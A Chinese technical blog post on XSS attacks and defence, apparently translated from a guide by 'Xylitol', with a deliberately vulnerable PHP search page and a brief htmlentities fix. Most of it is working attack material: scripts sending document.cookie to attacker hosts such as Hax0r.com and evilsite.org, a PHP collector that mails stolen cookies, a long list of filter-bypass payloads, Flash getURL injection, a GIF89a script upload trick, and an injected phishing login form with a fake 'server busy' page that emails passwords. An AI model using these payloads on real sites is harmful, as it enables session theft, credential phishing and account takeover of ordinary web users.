当前位置:首页 > 技术文章 > 正文内容

XSS的攻击与防范

lcy2009-09-19技术文章1271

文章目录
 
XSS攻击与防范指南... 1
第一章、XSS的定义... 1
第二章、XSS漏洞代码... 1
第三章、利用XSS盗取cookies. 3
第四章、防范XSS漏洞... 4
第五章、XSS攻击方法... 5
第六章、利用Flash进行XSS攻击... 6
第七章、上传文件进行XSS攻击... 7
第八章、利用XSS漏洞进行钓鱼... 7


第一章、XSS的定义
从Wikipedia搜索跨站脚本,解释到跨区脚本(Cross-zone Scripting或者Cross Site Scripting)是指浏览器利用浏览器一些有漏洞的安全解决方案,这种攻击使没有权限跨站脚本在未经授权的情况下以较高的权限去执行,脚本的执行权限被客户端(Web浏览器)扩大升级了。
这些XSS跨站脚本漏洞可能是:
*网页浏览器设计缺陷使得在一定的条件下,一个站点完全信任另外一个高权限的站点(或者连个高低权限区域)并去执行高权限站点的脚本。
*网页浏览器配置错误,把不安全的网站放在浏览器高信任列表。
*信任站点(特权区域)存在跨站脚本漏洞
一般的跨站脚本攻击包含两个步骤。首先是利用跨站脚本漏洞以一个特权模式去执行攻击者构造的脚本,然后利用不安全的ActiveX控件执行恶意的行为。通常在安静模式让计算机浏览攻击者指定的网页悄悄下载安装各种恶意代码,如间谍软件、木马软件、蠕虫等。
第二章、XSS漏洞代码
打开记事本,复制下面的代码到几时本中:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
body,td,th {
     color: #FFFFFF;
}
body {
     background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
  <table width="270" border="0">
    <tr>
      <td width="106"><strong>Search:</strong></td>
        <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
      </tr>
  </table>
  <table width="268" border="0">
    <tr>
      <td width="262"><div align="center"&gt;
        <input name="submit" type="submit" value="     Search it !     " />
      </div></td>
      </tr>
  </table>
  </div>
</form>
</body>
</html>
然后,保存这个页面为index.html。并去复制下面的代码到记事本:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
         color: #FFFFFF;
}
body {
         background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result  :</span>&nbsp;<strong><?php echo $_POST['Vulnerability']; ?></strong>&nbsp;
</body>
</html>
保存为Xss.php,关闭记事本。用firefox打开index.html,在搜索框里面输入一串字符串正常搜索,回车。然后重新在搜索框里输入<script>alert('XSS')</script>,单击发送。这时候页面会弹出一个提示窗口。这就是跨站脚本漏洞。
第三章、利用XSS盗取cookies
在一个有漏洞的页面插入下面的代码,例如一个留言本里
<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>
(www.Hax0r.com = 攻击者的网站)
用记事本新建文件: cookie.php,把下面的代码拷贝到文件里来。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
         color: #FFFFFF;
}
body {
         background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli :)', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html><BR>这样是仅仅不够的,还要去等待收到电子邮件,阅读读盗取到的cookie。
第四章、防范XSS漏洞
如何修复这个漏洞呢?
我们可以使用htmlentities函数来修复这个漏洞。在替换上面的XSS.php第16行:
<body>
<span class="alerte">Search result  :</span>&nbsp;<strong><?php echo $_POST['Vulnerability']; ?></strong>&nbsp;
</body>
为:
<body>
<span class="alerte">Search result  :</span>&nbsp;<strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>&nbsp;
</body>
还可以使用php的内置函数htmlspecialchars(),还有其他函数htmlentities()、strip_tags()等。
第五章、XSS攻击方法
利用XSS进行攻击是一件相当简单的事情,这里主要讲几种攻击方式……
<IMG SRC="http://hax0r.com/Haxored.png">
flash:<EMBED SRC= http://hax0r.com/Haxored.swf
<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>
<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />
XSS
htmlspecialchars()的过滤是非常简单的,这里有一些绕过过滤的方法:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">
 

<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

mouse over

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

click me

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=\"jav ascript:alert('XSS');\">

<IMG SRC=\"jav ascript:alert('XSS');\">

<IMG SRC=\"jav ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>

<IMG SRC=\"jav ascript:alert('XSS');\">

<IMG SRC=\"jav ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>
这里并不包含了所有的攻击方法,Google是你的好朋友,可以通过它找到更多的方法。
第六章、利用Flash进行XSS攻击
Flash是用于复杂的动画,仿真和游戏开发等。非常有趣的是Flash的getURL()动作,它可以使我们的页面重定向到函数指定的页面,改函数的语法如下:
getURL(url:String, [window: String,[method:String]])
例如:getURL("http://victime.com/login.php?logout=true","_self");
url: 重定向的网站url
window: 设置重定向的窗口打开方式 (_self, _blank…)
method: 请求页面的方式 GET 或者 POST
actionscrip来弹出警告窗口的方法:
getURL("javascript:alert('XSS'");
在2002年的时候,曾经公布这个函数的危险性,例如可以用下面的方式来获取浏览者的cookie:
getURL("javascript:alert(document.cookie)")
在2005年12月的时候,对getURL()进行了改进,改进了在flash文件签名中输入XSS语句从而导致永久性XSS攻击的漏洞。官方采用这种更新是为了防止再次爆发MySpace中传播Samy Xss蠕虫,Samy可以隐藏在flash中盗取cookies。
但是这样的更新就解决了XSS吗?不,目前还没有完全解决flash的XSS问题,下面的例子来说明,在flash文件中输入:
GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");
Haxored.js中的代码如下:
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;
当然最为简单的安全解决方案就是不要在网站中使用flash。
第七章、上传文件进行XSS攻击
在画图工具里创建一个Haxored.gif图片,然后用记事本打开它,删除所有行并插入下面的内容:
GIF89a<script>alert("XSS")</script>
保存并关闭它。
然后把Haxored.gif上传到一个免费的图片网站上,再查看你的图片,XSS就产生了……不要用Mozillia Firefox来浏览图片,因为Mozillia Firefox不能运行该脚本,该攻击适用于Internet explorer浏览器。
为什么在脚本前面添加GIF89a呢?一般上传图片会这样的,在各个.gif文件中检查是否包含'GIF89a'代码。这个通过检查文件GIF89a代码对上传结果进行确认的漏洞,并没有检查图片里的恶意代码。
GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>
.jpg及其它格式的图片就可以知道了,例如一个png格式的文件:‰PNG
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
为了安全不能仅仅依靠getimagesize()函数来检查图片。
第八章、利用XSS漏洞进行钓鱼
你了解钓鱼(phishing)的目的吗?你了解XSS的目的吗?
在我们的例子中,将有必要找一个存在XSS漏洞的网站,并在一个form表单里注入一个URL重定向的代码:
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value=        OK        >
</form>
你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你,下面的php文件是用来发送email的(mail.php):
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
         color: #FFFFFF;
}
body {
         background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
用户提交后看到这个页面会认为网页等待与超载是正常的,而不会有所怀疑什么

 

版权声明:本文由cy's Blog发布,如需转载请注明出处。

本文链接:http://www.c3389.com/post/22.html

相关文章

动网多个版本上传漏洞

利用的还是IIS的文件名解析漏洞.影响版本:Powered By Dvbbs Version 8.2.0Powered By Dvbbs Version 8.1.0Powered By Dvbbs V...

浅析XSS(Cross Site Script)漏洞原理

浅析XSS(Cross Site Script)漏洞原理

作者:茄子宝   2007-07-04      【IT168 专稿】最近一些人频频在博客里炫耀说黑了某某门户网站,发现了某某大站...

四方案全面保护视频文件安全

DV越来越普及,个人可以轻松的拍摄属于自己的视频。对于拍摄的视频,我们可以与网友一起分享。但是现在各种修改技术又非常普及,总有一些网友“恶搞”,对别人的视频进行改头换面,改变了...

如何通过代理服务器发动DDoS攻击

如何通过代理服务器发动DDoS攻击

来源:电脑报 作者:杨玲   提到DDoS攻击,大家会觉得很难,自己没有“肉鸡”(也称傀儡电脑),怎么发动得了?其实还有一种超级简单的办法,就算你一台“肉鸡&rdq...

18db铜丝天线 详细制作过程

18db铜丝天线 详细制作过程

一、天线概述及图纸准备 据资料所说此天线理论增益在18.2db左右,本人DIY出来测试后实际增益在15-1...

VBS脚本伪造日志

VBS脚本伪造日志

1.利用脚本伪造日志set ws=wscript.createobject("Wscript.shell")ws.logevent 0 ,"write log succe...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。